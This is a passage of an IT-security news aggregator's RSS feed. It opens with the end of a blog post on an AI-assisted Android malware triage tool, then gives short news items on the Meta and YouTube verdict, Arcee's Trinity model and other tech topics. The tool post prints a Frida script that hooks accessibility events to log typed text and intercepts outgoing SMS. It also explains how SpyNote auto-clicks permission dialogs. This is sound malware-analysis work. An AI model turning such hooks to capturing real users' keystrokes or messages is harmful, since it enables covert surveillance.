Receiver   SMS Intercept / Exfiltration T1636  SmsReceiver<br>HIGH      Activity   UI Overlay Attack             T1416  OverlayActivity</pre><h4>Phase 2c — VirusTotal Lookup (optional)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eBSMPryQfuVuADvEAXdQkQ.png"></figure><p>If a VT API key is configured, the SHA-256 is queried automatically. The report includes:</p><ul><li>Detection ratio with color coding (e.g. 38/72)</li><li>Threat label and all known malware families</li><li>First seen / last seen dates</li><li>File type and submission history</li><li>VT tags</li><li>Full AV engine detection table (up to 20 engines, priority vendors first: Kaspersky, ESET, BitDefender, Sophos, CrowdStrike, etc.)</li><li>Sandbox verdicts (if available)</li></ul><p>No VT key? The phase is silently skipped — no errors, no warnings.</p><h4>Phase 3 — YARA Scanning</h4><p>The APK and its DEX files are scanned against a curated YARA ruleset covering:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0FV2h7UYvX01pIzVmnLaIA.png"></figure><ul><li>Known malware families (Cerberus, Joker, FluBot, Anatsa, Anubis, etc.)</li><li>Generic banking trojan patterns</li><li>Spyware/stalkerware signatures</li><li>Crypto-mining indicators</li><li>Packer/obfuscator signatures</li></ul><p>Each match shows the rule name, description, category, MITRE technique, and matched string evidence.</p><h4>Phase 4 — AI Analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FKmRR9uTcB1_As7v1hJBng.png"></figure><p>The AI receives the full structured analysis — permissions, indicators, semantic findings, YARA matches, entropy data, VT results — and produces:</p><ul><li><strong>Threat classification</strong> with confidence level</li><li><strong>Executive summary</strong> (non-technical, for reporting)</li><li><strong>Technical analysis</strong> (deep behavioral description)</li><li><strong>Primary capabilities</strong> list</li><li><strong>MITRE ATT&amp;CK technique table</strong></li><li><strong>IOC list</strong> for threat hunting (ready to import to your SIEM)</li><li><strong>Remediation steps</strong></li><li><strong>Frida hooks</strong> — ready-to-run JavaScript for dynamic analysis</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FrI3oD1mc1BA4hL0jSncLA.png"></figure><h3>Common Usage Patterns</h3><h4>Quick triage without AI</h4><pre>./analyzer.py analyze suspicious.apk --no-ai</pre><p>Runs in ~3 seconds. Gives you the full static + YARA + semantic picture without waiting for an LLM.</p><h4>Check hashes only</h4><pre>./analyzer.py info suspicious.apk</pre><p>Prints MD5, SHA-256, file count, DEX count, native lib count. Useful for quick identification.</p><h4>Batch scan a directory</h4><pre>./analyzer.py batch /path/to/samples/ --no-ai --min-risk 50</pre><p>Scans every .apk recursively, then prints a sorted summary table. --min-risk 50 filters out anything below MEDIUM.</p><pre># Batch with AI and VT, save everything to /tmp/reports<br>./analyzer.py batch /samples/ -p claude --output-dir /tmp/reports</pre><h4>Use verbose mode to debug</h4><pre>./analyzer.py analyze suspicious.apk -v</pre><p>Shows all debug logs from androguard and the AI streaming output token by token.</p><h4>Save Frida hooks for dynamic follow-up</h4><pre>./analyzer.py analyze suspicious.apk --save-frida</pre><p>Saves a .js file to the reports directory. Run it with:</p><pre>frida -U -l com.example.malware_frida_hooks.js com.example.malware</pre><h4>What the generated hooks actually look like</h4><p>The AI doesn’t produce generic stubs — it reads the detected capabilities and writes targeted hooks. Here’s a real example from a SpyNote/SpyMax RAT sample that the tool identified as having accessibility abuse, SMS interception, and overlay injection:</p><pre>// SpyNote/SpyMax RAT Frida Hook Suite<br>// Run: frida -U -f elimination.kitchen.secured -l spynote_hooks.js --no-pause<br>Java.perform(function() {<br>  // HOOK 1: AccessibilityService - keylogging + UI automation<br>  // The core keylogging service (nSsAP24)<br>  try {<br>    var AccessibilityService = Java.use('android.accessibilityservice.AccessibilityService');<br>    AccessibilityService.onAccessibilityEvent.implementation = function(event) {<br>      if (event != null) {<br>        var eventType   = event.getEventType();<br>        var packageName = event.getPackageName();<br>        var text        = event.getText();<br>        var className   = event.getClassName();<br>        console.log('[ACCESSIBILITY] Type: ' + eventType +<br>          ' | Pkg: ' + packageName +<br>          ' | Class: ' + className +<br>          ' | Text: ' + text);<br>        // Log TYPE_VIEW_TEXT_CHANGED (keylogging)<br>        if (eventType === 16) {<br>          console.log('[KEYLOG] Text changed in ' + packageName + ': ' + text);<br>        }<br>      }<br>      this.onAccessibilityEvent(event);<br>    };<br>  } catch(e) { console.log('[-] AccessibilityService hook failed: ' + e); }<br>  // HOOK 2: GestureDescriptionBuilder - detect programmatic taps<br>  // SpyNote uses this to auto-click UI elements (accepting permissions, etc.)<br>  try {<br>    var GestureBuilder = Java.use('android.accessibilityservice.GestureDescription$Builder');<br>    GestureBuilder.build.implementation = function() {<br>      console.log('[GESTURE] GestureDescription.build() called - SpyNote automating UI interaction');<br>      console.log('[GESTURE] Stack: ' + Java.use('android.util.Log')<br>        .getStackTraceString(Java.use('java.lang.Exception').$new()));<br>      return this.build();<br>    };<br>  } catch(e) { console.log('[-] GestureBuilder hook failed: ' + e); }<br>  // HOOK 3: SmsManager - capture all SMS read/send operations<br>  // Steals OTPs and sends premium-rate SMS<br>  try {<br>    var SmsManager = Java.use('android.telephony.SmsManager');<br>    SmsManager.sendTextMessage.overload(<br>      'java.lang.String','java.lang.String','java.lang.String',<br>      'android.app.PendingIntent','android.app.PendingIntent'<br>    ).implementation = function(dest, sc, text, sentIntent, deliveryIntent) {<br>      console.log('[SMS-SEND] Destination: ' + dest + ' | Text: ' + text);<br>      console.log('[SMS-SEND] WARNING: Possible premium-rate SMS fraud!');<br>      // Uncomment to block: return;<br>      this.sendTextMessage(dest, sc, text, sentIntent, deliveryIntent);<br>    };<br>  } catch(e) { console.log('[-] SmsManager hook failed: ' + e); }<br>  // HOOK 4: OverlayWindow Injection - capture phishing overlays<br>  // Detects when SpyNote draws over banking apps<br>  // ...<br>});</pre><p>Four things stand out here that you wouldn’t get from a generic template:</p><ol><li><strong>The actual service class name</strong> (nSsAP24) is identified from the semantic analysis — the hook targets it directly rather than hooking every accessibility event globally.</li><li><strong>Gesture automation is flagged</strong> — SpyNote abuses GestureDescription.Builder to auto-click permission dialogs. The hook captures the full stack trace so you can see exactly when this triggers.</li><li><strong>SMS blocking is pre-wired</strong> — the hook logs outbound SMS and includes a commented return statement you can uncomment to neutralize premium-rate SMS fraud mid-analysis.</li><li><strong>Overlay detection is ready</strong> — the tool recognized the OverlayActivity component and generated the corresponding hook for it.</li></ol><p>This is what “starting point” means in practice: you get a file that already hooks the right classes for <em>this specific sample</em>, not a copy-paste skeleton you have to figure out yourself.</p><h3>Output</h3><p>Every run saves a JSON report to the reports/ directory (or wherever --output-dir points):</p><pre>reports/<br>  com.example.malware_20260330_142301.json<br>  com.example.malware_frida_hooks.js       # if --save-frida</pre><p>The JSON report contains the complete analysis: all indicators, permissions, network IOCs, component list, YARA matches, AI analysis, and VT results. Suitable for ingestion into SIEM, ticketing systems, or custom dashboards.</p><h3>Reading the Risk Score</h3><p>The score is <strong>not</strong> a simple average. The formula is:</p><pre>weighted = permissions×0.30 + behavior×0.45 + network×0.10 + obfuscation×0.15<br>score = max(weighted, max_dimension×0.75)</pre><p>Severity floors are applied on top:</p><ul><li>≥2 CRITICAL indicators → score ≥ 85</li><li>1 CRITICAL → score ≥ 72</li><li>≥3 HIGH → score ≥ 62</li><li>≥1 HIGH → score ≥ 45</li></ul><p>This means professional malware that deliberately avoids hardcoded C2 addresses (zero network score) won’t appear clean — its dangerous permissions and behavioral indicators still drive the score into HIGH territory.</p><h3>Practical Tips</h3><p><strong>Start with </strong><strong>--no-ai for triage.</strong> The static + YARA + semantic analysis runs in seconds and eliminates most false positives before you pay for an API call.</p><p><strong>Use </strong><strong>auto provider for everyday work.</strong> If you have an Anthropic key set in your environment, Claude is used automatically. Switch to google for free-tier Gemini if you need to run many samples.</p><p><strong>Set your VT key in the config file.</strong> Adding vt_key: your-key to config.yml means every analysis automatically cross-validates against VT without any extra flags.</p><p><strong>Batch mode + </strong><strong>--min-risk</strong> is great for incident response when you have a folder of suspicious APKs and need to prioritize. Start with --min-risk 60 to focus on HIGH and CRITICAL samples.</p><p><strong>The Frida script is a starting point, not a final answer.</strong> The AI generates hooks based on what it knows about the detected capabilities. You’ll almost always want to customize them — but having a scaffold that hooks the right classes saves significant time.</p><h3>Architecture Overview</h3><pre>analyzer.py              # CLI entry point (Click)<br>core/<br>  apk_analyzer.py        # Androguard wrapper, string/IOC extraction<br>  indicators.py          # Threat scoring engine<br>  semantic_analyzer.py   # Component name + string semantic analysis<br>  yara_scanner.py        # YARA rule runner<br>  vt_lookup.py           # VirusTotal API v3 client<br>  ai_engine.py           # Multi-provider AI router (Claude/OpenAI/Google/Ollama)<br>  ollama_engine.py       # Local Ollama backend<br>  reporter.py            # Rich terminal UI + JSON/Frida output<br>rules/<br>  malware.yar            # YARA ruleset<br>config.yml               # Default configuration</pre><h3>Limitations and What This Tool Is Not</h3><ul><li><strong>Static analysis only.</strong> It cannot observe runtime behavior — dynamic loading, encrypted C2 communication, or code paths that only execute after specific triggers won’t be seen.</li><li><strong>YARA signatures need maintenance.</strong> New malware families require new rules. The included ruleset covers common families but is not exhaustive.</li><li><strong>AI analysis quality depends on the model.</strong> Claude Opus produces significantly better reasoning than smaller local models. For high-stakes analysis, always use a frontier model.</li><li><strong>No decompilation.</strong> The tool parses DEX bytecode for API calls and strings but does not produce readable Java/Kotlin source. For deep code review, combine with jadx or JADX-GUI.</li></ul><h3>Real cases:</h3><p><a href="https://medium.com/@1200km/android-malware-analysis-a-practical-guide-for-security-analysts-9cda5efb181d">Android Malware Analysis: A Practical Guide for Security Analysts</a></p><h3>Conclusion</h3><p>Effective APK triage doesn’t require a cloud sandbox subscription or a commercial SIEM. With a reasonable API key and this tool, you can go from a suspicious APK to a structured threat report with MITRE mappings and Frida hooks in under a minute.</p><p>The combination of fast static analysis (for volume) + AI synthesis (for depth) + VirusTotal cross-validation (for confidence) covers the most common analyst workflows. The --no-ai path is fast enough for CI/CD integration or bulk scanning, while the full pipeline gives you the kind of narrative analysis that makes incident reports readable by non-technical stakeholders.</p><h4>Andrey Pautov</h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=4beb239dad12" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12">Android APK Analysis Tool: AI-Powered Static Malware Analysis in Your Terminal</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta & YouTube Found Negligent: A Turning Point for Big Tech?]]></title>
<description><![CDATA[A landmark jury verdict has found Meta and YouTube negligent in a social media addiction case, raising major questions about platform accountability and legal protections under Section 230. This episode covers the details of the case, why the ruling is…
Read more →
The post Meta & YouTube Found N...]]></description>
<link>https://tsecurity.de/de/3410389/it-security-nachrichten/meta-youtube-found-negligent-a-turning-point-for-big-tech/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3410389/it-security-nachrichten/meta-youtube-found-negligent-a-turning-point-for-big-tech/</guid>
<pubDate>Mon, 06 Apr 2026 08:21:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A landmark jury verdict has found Meta and YouTube negligent in a social media addiction case, raising major questions about platform accountability and legal protections under Section 230. This episode covers the details of the case, why the ruling is…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/meta-youtube-found-negligent-a-turning-point-for-big-tech/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/meta-youtube-found-negligent-a-turning-point-for-big-tech/">Meta &amp; YouTube Found Negligent: A Turning Point for Big Tech?</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘I always considered social media evil’: big tobacco whistleblower on tech’s addictive products]]></title>
<description><![CDATA[Jeffrey Stephen Wigand revealed how tobacco companies targeted children; now he sees similar marketing by big techA key whistleblower in the tobacco industry’s landmark trials of the 1990s has been watching big tech’s recent court battles closely. Jeffrey Stephen Wigand, a biochemist who helped r...]]></description>
<link>https://tsecurity.de/de/3409323/ai-nachrichten/i-always-considered-social-media-evil-big-tobacco-whistleblower-on-techs-addictive-products/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3409323/ai-nachrichten/i-always-considered-social-media-evil-big-tobacco-whistleblower-on-techs-addictive-products/</guid>
<pubDate>Sun, 05 Apr 2026 16:03:49 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Jeffrey Stephen Wigand revealed how tobacco companies targeted children; now he sees similar marketing by big tech</p><p>A key whistleblower in the tobacco industry’s landmark trials of the 1990s has been watching big tech’s recent <a href="https://www.theguardian.com/technology/2026/mar/26/us-court-social-media-meta-youtube">court battles</a> closely. Jeffrey Stephen Wigand, a biochemist who helped reveal how tobacco companies <a href="https://www.cdc.gov/tobacco/data_statistics/fact_sheets/tobacco_industry/marketing/index.htm">targeted children</a> and hid just how addictive cigarettes were, has been struck with a feeling of familiarity. Last week’s <a href="https://www.theguardian.com/media/2026/mar/25/jury-verdict-us-first-social-media-addiction-trial-meta-youtube">verdict in a major social media trial</a> that Meta and YouTube deliberately designed addictive products has only <a href="https://www.cnn.com/2026/03/25/media/meta-google-social-media-verdict-advocates">strengthened comparisons</a> to the legal crackdown on big tobacco. Wigand sees it, too. His first thought, as he learned about the litigation in California, was that social media companies, through their advertisements, were trying to addict children – much like the tobacco industry did.</p><p>A <a href="https://www.theguardian.com/us-news/los-angeles">Los Angeles</a> jury found <a href="https://www.theguardian.com/technology/meta">Meta</a> and <a href="https://www.theguardian.com/technology/youtube">YouTube</a> to be negligent last week. Plaintiffs’ lawyers relied heavily on internal documents and correspondence to demonstrate that company leadership dismissed concerns about how features of social media could be harmful. Meta was also found liable in a separate trial in <a href="https://www.theguardian.com/us-news/newmexico">New Mexico</a>, alleging that it had failed to prevent child sexual exploitation. These verdicts are the first time Meta has been found liable for how its products affect young people – after years of criticism, much of it from angry parents who feel social media harmed their children’s mental health.</p> <a href="https://www.theguardian.com/media/2026/apr/05/big-tobacco-whistleblower-social-media">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA['I think EmDash was created to sell more Cloudflare services': WordPress co-founder Matt Mullenweg gives his verdict on Cloudflare's EmDash]]></title>
<description><![CDATA[WordPress co-founder Mullenweg isn't too critical about EmDash or Cloudflare, says he sees it as a commercial opportunity, not a 'spiritual successor'.]]></description>
<link>https://tsecurity.de/de/3405297/it-nachrichten/i-think-emdash-was-created-to-sell-more-cloudflare-services-wordpress-co-founder-matt-mullenweg-gives-his-verdict-on-cloudflares-emdash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3405297/it-nachrichten/i-think-emdash-was-created-to-sell-more-cloudflare-services-wordpress-co-founder-matt-mullenweg-gives-his-verdict-on-cloudflares-emdash/</guid>
<pubDate>Fri, 03 Apr 2026 13:47:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WordPress co-founder Mullenweg isn't too critical about EmDash or Cloudflare, says he sees it as a commercial opportunity, not a 'spiritual successor'.]]></content:encoded>
</item>
<item>
<title><![CDATA[Arcee's new, open source Trinity-Large-Thinking is the rare, powerful U.S.-made AI model that enterprises can download and customize]]></title>
<description><![CDATA[The baton of open source AI models has been passed on between several companies over the years since ChatGPT debuted in late 2022, from Meta with its Llama family to Chinese labs like Qwen and z.ai. But lately, Chinese companies have started pivoting back towards proprietary models even as some U...]]></description>
<link>https://tsecurity.de/de/3404303/it-nachrichten/arcees-new-open-source-trinity-large-thinking-is-the-rare-powerful-us-made-ai-model-that-enterprises-can-download-and-customize/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3404303/it-nachrichten/arcees-new-open-source-trinity-large-thinking-is-the-rare-powerful-us-made-ai-model-that-enterprises-can-download-and-customize/</guid>
<pubDate>Fri, 03 Apr 2026 03:32:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The baton of open source AI models has been passed on between several companies over the years since ChatGPT debuted in late 2022, from Meta with its Llama family to Chinese labs like Qwen and z.ai. But lately, Chinese companies have started pivoting back towards proprietary models even as some U.S. labs like Cursor and Nvidia release their own variants of the Chinese models, leaving a question mark about who will originate this branch of technology going forward. </p><p>One answer: <a href="https://www.arcee.ai/">Arcee</a>, a San Francisco based lab, <a href="https://www.arcee.ai/blog/trinity-large-thinking">which this week released AI Trinity-Large-Thinking</a>—a 399-billion parameter text-only reasoning model released under the uncompromisingly open Apache 2.0 license, allowing for full customizability and commercial usage by anyone from indie developers to large enterprises. </p><p>The release represents more than just a new set of weights on AI code sharing community <a href="https://huggingface.co/collections/arcee-ai/trinity-large-thinking">Hugging Face</a>; it is a strategic bet that "American Open Weights" can provide a sovereign alternative to the increasingly closed or restricted frontier models of 2025. </p><p>This move arrives precisely as enterprises express growing discomfort with relying on Chinese-based architectures for critical infrastructure, creating a demand for a domestic champion that Arcee intends to fill.</p><p>As Clément Delangue, co-founder and CEO of Hugging Face, told VentureBeat in a direct message on X: "The strength of the US has always been its startups so maybe they're the ones we should count on to lead in open-source AI. Arcee shows that it's possible!" </p><h2><b>Genesis of a 30-person frontier lab</b></h2><p>To understand the weight of the Trinity release, one must understand the lab that built it. Based in San Francisco, Arcee AI is a lean team of only 30 people. </p><p>While competitors like OpenAI and Google operate with thousands of engineers and multibillion-dollar compute budgets, Arcee has defined itself through what CTO Lucas Atkins calls "engineering through constraint".</p><p>The company first made waves in 2024 after securing a $24 million Series A led by Emergence Capital, bringing its total capital to just under $50 million. In early 2026, the team took a massive risk: they committed $20 million—nearly half their total funding—to a single 33-day training run for Trinity Large. </p><p>Utilizing a cluster of 2048 NVIDIA B300 Blackwell GPUs, which provided twice the speed of the previous Hopper generation, Arcee bet the company's future on the belief that developers needed a frontier model they could truly own. </p><p>This "back the company" bet was a masterclass in capital efficiency, proving that a small, focused team could stand up a full pipeline and stabilize training without endless reserves.</p><h2><b>Engineering through extreme architectural constraint</b></h2><p>Trinity-Large-Thinking is noteworthy for the extreme sparsity of its attention mechanism. While the model houses 400 billion total parameters, its Mixture-of-Experts architecture means that only 1.56%, or 13 billion parameters, are active for any given token. </p><p>This allows the model to possess the deep knowledge of a massive system while maintaining the inference speed and operational efficiency of a much smaller one—performing roughly 2 to 3 times faster than its peers on the same hardware. Training such a sparse model presented significant stability challenges. </p><p>To prevent a few experts from becoming "winners" while others remained untrained "dead weight," Arcee developed SMEBU, or Soft-clamped Momentum Expert Bias Updates. </p><p>This mechanism ensures that experts are specialized and routed evenly across a general web corpus. The architecture also incorporates a hybrid approach, alternating local and global sliding window attention layers in a 3:1 ratio to maintain performance in long-context scenarios.</p><h2><b>The data curriculum and synthetic reasoning</b></h2><p>Arcee’s partnership with fellow startup DatologyAI provided a curriculum of over 10 trillion curated tokens. However, the training corpus for the full-scale model was expanded to 20 trillion tokens, split evenly between curated web data and high-quality synthetic data. </p><p>Unlike typical imitation-based synthetic data where a smaller model simply learns to mimic a larger one, DatologyAI utilized techniques to synthetically rewrite raw web text—such as Wikipedia articles or blogs—to condense the information. </p><p>This process helped the model learn to reason over concepts and information rather than merely memorizing exact token strings. </p><p>To ensure regulatory compliance, tremendous effort was invested in excluding copyrighted books and materials with unclear licensing, attracting enterprise customers who are wary of intellectual property risks associated with mainstream LLMs. </p><p>This data-first approach allowed the model to scale cleanly while significantly improving performance on complex tasks like mathematics and multi-step agent tool use.</p><h2><b>The pivot from yappy chatbots to reasoning agents</b></h2><p>The defining feature of this official release is the transition from a standard "instruct" model to a "reasoning" model.</p><p>By implementing a "thinking" phase prior to generating a response—similar to the internal loops found in the earlier Trinity-Mini—Arcee has addressed the primary criticism of its January "Preview" release. </p><p>Early users of the Preview model had noted that it sometimes struggled with multi-step instructions in complex environments and could be "underwhelming" for agentic tasks.</p><p>The "Thinking" update effectively bridges this gap, enabling what Arcee calls "long-horizon agents" that can maintain coherence across multi-turn tool calls without getting "sloppy". </p><p>This reasoning process enables better context coherence and cleaner instruction following under constraint. This has direct implications for Maestro Reasoning, a 32B-parameter derivative of Trinity already being used in audit-focused industries to provide transparent "thought-to-answer" traces. </p><p>The goal was to move beyond "yappy" or inefficient chatbots toward reliable, cheap, high-quality agents that stay stable across long-running loops.</p><h2><b>Geopolitics and the case for American open weights</b></h2><p>The significance of Arcee’s Apache 2.0 commitment is amplified by the retreat of its primary competitors from the open-weight frontier. </p><p>Throughout 2025, Chinese research labs like Alibaba's Qwen and z.ai (aka Zhupai) set the pace for high-efficiency MoE architectures. </p><p>However, as we enter 2026, those labs have begun to shift toward proprietary enterprise platforms and specialized subscriptions, signaling a move away from pure community growth. </p><p>The fragmentation of these once-prolific teams, such as the departure of key technical leads from Alibaba's Qwen lab, has left a void at the high end of the open-weight market. In the United States, the movement has faced its own crisis. </p><p>Meta’s Llama division notably retreated from the frontier landscape following the mixed reception of Llama 4 in April 2025, which faced reports of quality issues and benchmark manipulation.</p><p>For developers who relied on the Llama 3 era of dominance, the lack of a current 400B+ open model created an urgent need for an alternative that Arcee has risen to fill.</p><h2><b>Benchmarks and how Arcee's Trinity-Large-Thinking stacks up to other U.S. frontier open source AI model offerings</b></h2><p>Trinity-Large-Thinking’s performance on agent-specific evaluations establishes it as a legitimate frontier contender. On <b>PinchBench</b>, a critical metric for evaluating model capability on autonomous agentic tasks, <b>Trinity achieved a score of 91.9, placing it just behind the proprietary market leader, Claude Opus 4.6 (93.3). </b></p><p>This competitiveness is mirrored in IFBench, where Trinity’s score of 52.3 sits in a near-dead heat with Opus 4.6’s 53.1, indicating that the reasoning-first "Thinking" update has successfully addressed the instruction-following hurdles that challenged the model’s earlier preview phase.</p><p>The model’s broader technical reasoning capabilities also place it at the high end of the current open-source market.<b> It recorded a 96.3 on AIME25, matching the high-tier Kimi-K2.5 </b>and <b>outstripping other major competitors like GLM-5 (93.3) and MiniMax-M2.7 (80.0). </b></p><p>While high-end coding benchmarks like SWE-bench Verified still show a lead for top-tier closed-source models—with Trinity scoring 63.2 against Opus 4.6’s 75.6—the massive delta in cost-per-token positions Trinity as the more viable sovereign infrastructure layer for enterprises looking to deploy these capabilities at production scale.</p><p>When it comes to other U.S. open source frontier model offerings, OpenAI's gpt-oss tops out at 120 billion parameters, but there's also Google with Gemma (<a href="https://venturebeat.com/technology/google-releases-gemma-4-under-apache-2-0-and-that-license-change-may-matter">Gemma 4 was just released this week)</a> and<a href="https://venturebeat.com/ai/ibms-open-source-granite-4-0-nano-ai-models-are-small-enough-to-run-locally"> IBM's Granite family </a>is also worth a mention, despite having lower benchmarks. Nvidia's Nemotron family is also notable, but is fine-tuned and post-trained <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3/">Qwen variants</a>.</p><table><tbody><tr><td><p><b>Benchmark</b></p></td><td><p><b>Arcee Trinity-Large</b></p></td><td><p><b>gpt-oss-120B (High)</b></p></td><td><p><b>IBM Granite 4.0</b></p></td><td><p><b>Google Gemma 4</b></p></td></tr><tr><td><p><b>GPQA-D</b></p></td><td><p>76.3%</p></td><td><p>80.1%</p></td><td><p>74.8%</p></td><td><p><b>84.3%</b></p></td></tr><tr><td><p><b>Tau2-Airline</b></p></td><td><p><b>88.0%</b></p></td><td><p>65.8%*</p></td><td><p>68.3%</p></td><td><p>76.9%</p></td></tr><tr><td><p><b>PinchBench</b></p></td><td><p>91.9%</p></td><td><p>69.0% (IFBench)</p></td><td><p>89.1%</p></td><td><p><b>93.3%</b></p></td></tr><tr><td><p><b>AIME25</b></p></td><td><p>96.3%</p></td><td><p><b>97.9%</b></p></td><td><p>88.5%</p></td><td><p>89.2%</p></td></tr><tr><td><p><b>MMLU-Pro</b></p></td><td><p>83.4%</p></td><td><p>90.0% (MMLU)</p></td><td><p>81.2%</p></td><td><p><b>85.2%</b></p></td></tr></tbody></table><p>So how is an enterprise supposed to choose between all these?</p><p><b>Arcee Trinity-Large-Thinking</b> is the premier choice for organizations building autonomous agents; its sparse 400B architecture excels at "thinking" through multi-step logic, complex math, and long-horizon tool use. By activating only a fraction of its parameters, it provides a high-speed reasoning engine for developers who need GPT-4o-level planning capabilities within a cost-effective, open-source framework. </p><p>Conversely, <b>gpt-oss-120B</b> serves as the optimal middle ground for enterprises that require high-reasoning performance but prioritize lower operational costs and deployment flexibility. </p><p>Because it activates only 5.1B parameters per forward pass, it is uniquely suited for technical workloads like competitive code generation and advanced mathematical modeling that must run on limited hardware, such as a single H100 GPU. </p><p>Its configurable reasoning effort—offering "Low," "Medium," and "High" modes—makes it the best fit for production environments where latency and accuracy must be balanced dynamically across different tasks.</p><p>For broader, high-throughput applications, <b>Google Gemma 4</b> and <b>IBM Granite 4.0</b> serve as the primary backbones. Gemma 4 offers the highest "intelligence density" for general knowledge and scientific accuracy, making it the most versatile option for R&amp;D and high-speed chat interfaces. </p><p>Meanwhile, <b>IBM Granite 4.0</b> is engineered for the "all-day" enterprise workload, utilizing a hybrid architecture that eliminates context bottlenecks for massive document processing. For businesses concerned with legal compliance and hardware efficiency, Granite remains the most reliable foundation for large-scale RAG and document analysis.</p><h2><b>Ownership as a feature for regulated industries</b></h2><p>In this climate, Arcee’s choice of the Apache 2.0 license is a deliberate act of differentiation. Unlike the restrictive community licenses used by some competitors, Apache 2.0 allows enterprises to truly own their intelligence stack without the "black box" biases of a general-purpose chat model. </p><p>"Developers and Enterprises need models they can inspect, post-train, host, distill, and own," Lucas Atkins noted in the launch announcement. </p><p>This ownership is critical for the "bitter lesson" of training small models: you usually need to train a massive frontier model first to generate the high-quality synthetic data and logits required to build efficient student models.</p><p>Furthermore, Arcee has released Trinity-Large-TrueBase, a raw 10-trillion-token checkpoint. TrueBase offers a rare, "unspoiled" look at foundational intelligence before instruction tuning and reinforcement learning are applied. For researchers in highly regulated industries like finance and defense, TrueBase allows for authentic audits and custom alignments starting from a clean slate.</p><h2><b>Community verdict and the future of distillation</b></h2><p>The response from the developer community has been largely positive, reflecting the desire for more open weights, U.S.-made mdoels. </p><p>On X, researchers highlighted the disruption, noting that the "insanely cheap" prices for a model of this size would be a boon for the agentic community. </p><p>On open AI model inference website <a href="https://openrouter.ai/arcee-ai/trinity-large-thinking">OpenRouter</a>, Trinity-Large-Preview established itself as the #1 most used open model in the U.S., serving over 80.6 billion tokens on peak days like March 1, 2026. </p><p>The proximity of Trinity-Large-Thinking to Claude Opus 4.6 on PinchBench—at 91.9 versus 93.3—is particularly striking when compared to the cost. At $0.90 per million output tokens, Trinity is approximately 96% cheaper than Opus 4.6, which costs $25 per million output tokens. </p><p>Arcee’s strategy is now focused on bringing these pretraining and post-training lessons back down the stack. Much of the work that went into Trinity Large will now flow into the Mini and Nano models, refreshing the company's compact line with the distillation of frontier-level reasoning. </p><p>As global labs pivot toward proprietary lock-in, Arcee has positioned Trinity as a sovereign infrastructure layer that developers can finally control and adapt for long-horizon agentic workflows.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Including online games in social media bans is unworkable, unnecessary and would harm young people]]></title>
<description><![CDATA[As calls for restrictions on under-16s’ online activities gather pace, some are urging curbs on online gaming. The idea is a mess from top to bottomLast week, Meta and YouTube were found liable for creating intentionally addictive products that affected the wellbeing of young social media users. ...]]></description>
<link>https://tsecurity.de/de/3396868/it-nachrichten/including-online-games-in-social-media-bans-is-unworkable-unnecessary-and-would-harm-young-people/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3396868/it-nachrichten/including-online-games-in-social-media-bans-is-unworkable-unnecessary-and-would-harm-young-people/</guid>
<pubDate>Tue, 31 Mar 2026 18:31:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As calls for restrictions on under-16s’ online activities gather pace, some are urging curbs on online gaming. The idea is a mess from top to bottom</p><p>Last week, <a href="https://www.theguardian.com/media/2026/mar/25/jury-verdict-us-first-social-media-addiction-trial-meta-youtube">Meta and YouTube were found liable</a> for creating intentionally addictive products that affected the wellbeing of young social media users. The ruling has supercharged an already growing movement from governments and regulators to restrict or ban social media use for under-16s, <a href="https://www.theguardian.com/australia-news/2026/mar/04/australia-social-media-ban-under-16s-three-month-review">as has been done in Australia</a>, to protect children from potential harm.</p><p>But there is another way that about <a href="https://www.pewresearch.org/internet/2024/05/09/teens-and-video-games-today/">85% of kids and teens</a> congregate online – and that is through video games. It <a href="https://www.bbc.co.uk/news/articles/c93w90kqgv9o">has been suggested</a> that curbs on online gaming should be considered alongside social media restrictions in future legislation. There is some precedent: in 2021, <a href="https://www.theguardian.com/world/2021/aug/30/china-cuts-amount-of-time-minors-can-spend-playing-video-games">China restricted young people’s online gaming</a> time to one hour a day on weekends and holidays. But I have a lot of questions about how such curbs would work, and whether they should be attempted.</p> <a href="https://www.theguardian.com/commentisfree/2026/mar/31/to-include-online-games-in-social-media-bans-is-unworkable-unnecessary-and-would-harm-young-people">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[6 key takeaways from RSA Conference 2026]]></title>
<description><![CDATA[Writing a conference preview is an act of professional speculation. You read the agenda, map the schedule session density, and make your personal best call about where the intellectual energy will concentrate.



From my perspective going in, RSA Conference 2026 outlined a defining tension for CI...]]></description>
<link>https://tsecurity.de/de/3395374/it-security-nachrichten/6-key-takeaways-from-rsa-conference-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3395374/it-security-nachrichten/6-key-takeaways-from-rsa-conference-2026/</guid>
